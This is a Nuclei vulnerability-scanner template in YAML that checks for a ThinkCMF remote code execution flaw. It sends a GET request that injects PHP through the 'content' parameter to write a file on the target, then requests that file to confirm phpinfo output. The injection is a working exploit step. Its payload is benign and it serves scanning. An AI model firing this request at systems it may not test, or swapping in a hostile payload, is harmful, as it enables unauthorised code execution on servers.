nuclei-templates/http/vulnerabilities/thinkcmf/thinkcmf-rce.yaml

36 lines
1.1 KiB
YAML

id: thinkcmf-rce
info:
name: ThinkCMF - Remote Code Execution
author: pikpikcu
severity: critical
description: ThinkCMF is susceptible to a remote code execution vulnerability.
reference:
- https://www.freebuf.com/vuls/217586.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 2
tags: thinkcmf,rce,intrusive
http:
- raw:
- |
GET /index.php?a=fetch&content={{url_encode('<?php file_put_contents(\"{{randstr}}.php\",\"<?php echo phpinfo();\");')}} HTTP/1.1
Host: {{Hostname}}
- |
GET /{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body_2, "PHP Extension")'
- 'contains(body_2, "PHP Version")'
- 'status_code_2 == 200'
condition: and
# digest: 4a0a00473045022100e4c965a9409f38d7dbbfe18f1eb2a8ab388955797a2b6ce7c85402032084204a02204520eb20938068c12dc67cc4f6613dd1c37e0df4374c484a205713243a3f2cd1:922c64590222798bb761d5b6d8e72950